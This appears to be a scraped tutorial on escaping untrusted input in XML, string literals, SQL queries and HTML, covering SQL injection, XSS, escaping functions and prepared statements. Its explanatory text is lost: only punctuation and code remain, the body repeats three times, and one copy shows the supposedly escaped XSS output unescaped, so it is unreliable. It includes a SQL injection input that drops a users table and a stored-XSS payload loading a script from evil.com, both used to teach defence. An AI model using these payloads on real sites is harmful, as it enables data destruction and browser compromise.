? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).
```
 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML). 
```
? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML). ? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).

पाठ में पाठ के साथ काम करने के लिए बचना (या आपको क्या जानना चाहिए)

मुख्य समस्या

More articles: